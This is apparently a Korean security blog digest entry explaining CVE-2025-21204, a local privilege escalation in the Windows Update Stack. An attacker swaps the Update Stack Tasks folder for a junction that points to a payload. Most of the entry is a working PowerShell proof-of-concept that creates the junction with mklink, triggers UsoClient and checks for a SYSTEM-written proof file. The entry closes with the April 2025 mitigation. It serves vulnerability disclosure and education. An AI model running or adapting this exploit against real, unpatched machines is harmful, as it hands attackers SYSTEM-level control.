[하루한줄] CVE-2025-21204: Windows Update Stack의 Improper Link Following으로 인한 Privilege Escalation
URL
https://cyberdom.blog/abusing-the-windows-update-stack-to-gain-system-access-cve-2025-21204/
Target
- 2025년 4월 업데이트 이전의 Update Stack을 사용하는 Windows
Explain
CVE-2025-21204는 Windows 업데이트 스택에서 발생하는 로컬 권한 상승 취약점으로 MoUsoCoreWorker.exe
와 UsoClient.exe
같은 SYSTEM 권한의 프로세스들에 의해 업데이트가 이루어지는 과정에서 발생합니다. 업데이트 과정에서 SYSTEM 권한의 프로세스에 의해 C:\ProgramData\Microsoft\UpdateStack\Tasks
경로에 존재하는 스크립트나 바이너리가 실행되는데 이때 해당 폴더의 권한이 잘못 설정되어 있어 공격자가 폴더를 삭제하고 페이로드가 위치한 폴더의 정션으로 대체할 수 있고 따라서 아래와 같은 과정을 거쳐 권한 상승이 이루어질 수 있습니다.
- 공격자가 컨트롤할 수 있는 경로에 파워쉘 스크립트 등의 페이로드를 위치시킨다.
C:\ProgramData\Microsoft\UpdateStack\Tasks
를 삭제하고 1.에서 페이로드를 생성한 경로에 연결된 정션으로 대체한다.- 예약된 작업에 의해 혹은 직접 업데이트를 트리거해서
UsoClient.exe
,MoUsoCoreWorker.exe
,TiWorker.exe
와 같은 프로세스를 생성한다. - 생성된 프로세스가 페이로드를 실행하면서 권한 상승이 이루어진다.
아래는 이와 같은 동작을 하는 파워쉘로 작성된 PoC로 시스템 권한으로 파일을 생성해서 권한 상승이 이루어졌음을 보입니다.
<#
.SYNOPSIS
CVE-2025-21204 exploit simulation for non-admin users via junction-based path hijack.
.DESCRIPTION
Drops a bait payload in a user-controlled directory, creates a junction to hijack the Update Stack path,
and triggers the update process to test if SYSTEM accesses the payload.
The script provide the poc that allows to run this actions.
.AUTHOR
Elli Shlomo
#>
# Paths
$trapPath = "$env:APPDATA\Microsoft\UpdateStack\Tasks"
$updateStackRealPath = "C:\ProgramData\Microsoft\UpdateStack\Tasks"
$payloadPath = "$trapPath\UpdateStackAgent.dll"
$proofPath = "C:\Users\Public\cve2025-proof.log"
$logPath = "$env:APPDATA\CVE2025\simulation.log"
$evidencePath = "$env:APPDATA\CVE2025\evidence.txt"
$verdictPath = "$env:APPDATA\CVE2025\vulnerable.txt"
$verboseLog = "$env:TEMP\cve2025-verbose.log"
# Intro
Write-Host "`n[*] CVE-2025-21204 Exploit Simulation (Non-Admin)"
Write-Host "[*] Trap directory : $trapPath"
Write-Host "[*] Payload DLL path : $payloadPath"
Write-Host "[*] SYSTEM proof file : $proofPath"
Write-Host "[*] Simulation log : $logPath"
Write-Host "[*] Evidence file : $evidencePath"
Write-Host "[*] Verdict result : $verdictPath"
Write-Host "[*] Verbose transcript : $verboseLog`n"
# Start transcript
Start-Transcript -Path $verboseLog -Force
# Ensure directories exist
Write-Host "[*] Creating necessary directories..."
New-Item -Path $trapPath -ItemType Directory -Force -ErrorAction SilentlyContinue | Out-Null
New-Item -Path (Split-Path $logPath) -ItemType Directory -Force -ErrorAction SilentlyContinue | Out-Null
Write-Host "[+] Directories ready.`n"
# Payload content
$payload = @"
Payload executed by SYSTEM at: $(Get-Date)
"@
# Write bait payload
Write-Host "[*] Writing payload to: $payloadPath"
$payload | Out-File -FilePath $payloadPath -Encoding ASCII
$payload | Out-File -FilePath $proofPath -Append
Write-Host "[+] Payload written.`n"
# Simulation metadata log
$log = @"
CVE-2025-21204 Exploit Simulation
-------------------------------------
Date : $(Get-Date)
Payload File : $payloadPath
Hijack Path : $updateStackRealPath
Proof File : $proofPath
"@
Set-Content -Path $logPath -Value $log -Encoding UTF8 -Force
Write-Host "[+] Simulation metadata saved.`n"
# Attempt junction creation (non-admin safe)
Write-Host "[*] Attempting junction (no admin)..."
if (-not (Test-Path $updateStackRealPath)) {
try {
$cmd = "cmd.exe /c mklink /J `"$updateStackRealPath`" `"$trapPath`""
Start-Process -FilePath "cmd.exe" -ArgumentList "/c mklink /J `"$updateStackRealPath`" `"$trapPath`"" -NoNewWindow -Wait
Write-Host "[+] Junction created: $updateStackRealPath → $trapPath"
} catch {
Write-Host "[-] Failed to create junction: $_"
}
} else {
Write-Host "[!] Target path already exists: $updateStackRealPath"
Write-Host "[-] Cannot create junction unless folder is removed by SYSTEM update cleanup."
}
Write-Host ""
# Trigger update
Write-Host "[*] Triggering UsoClient.exe (StartScan)..."
try {
Start-Process UsoClient.exe -ArgumentList StartScan -WindowStyle Hidden
Write-Host "[+] UsoClient.exe started.`n"
} catch {
Write-Host "[-] Failed to trigger UsoClient.exe: $_"
}
# Monitor for SYSTEM process
Write-Host "[*] Monitoring for SYSTEM process MoUsoCoreWorker.exe..."
$found = $false
for ($i = 1; $i -le 6; $i++) {
Start-Sleep -Seconds 5
Write-Host "[=] Attempt ${i}: Checking..."
if (Get-Process -Name "MoUsoCoreWorker" -ErrorAction SilentlyContinue) {
Write-Host "[!] SYSTEM process detected: MoUsoCoreWorker.exe"
$found = $true
break
}
}
Start-Sleep -Seconds 5
# Check for success
Write-Host "`n[*] Analyzing payload execution..."
if (Test-Path $proofPath) {
$owner = (Get-Acl $proofPath).Owner
$timestamp = (Get-Item $proofPath).LastWriteTime
$details = @"
[+] Exploit successful
Payload executed as: $owner
Last Modified: $timestamp
"@
Set-Content -Path $verdictPath -Value $true
Write-Host "[✓] SUCCESS: SYSTEM likely accessed the payload."
} else {
$details = @"
[!] Exploit failed
No proof file found.
Time: $(Get-Date)
"@
Set-Content -Path $verdictPath -Value $false
Write-Host "[✗] FAILURE: Payload was not executed by SYSTEM."
}
# Save evidence
Set-Content -Path $evidencePath -Value $details -Encoding UTF8
Write-Host "[*] Forensic evidence saved: $evidencePath"
# End
Stop-Transcript
Write-Host "`n[✓] Simulation complete. See verbose log: $verboseLog`n"
해당 취약점이 패치된 2025년 4월 업데이트에서는 이러한 공격에 대한 완화 조치로 공격에 사용될 수 있는 C:\inetpub
등의 폴더를 미리 생성하는 것으로 기본 ACL을 적용해서 link following 공격에 사용될 수 없게 만들었습니다.
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.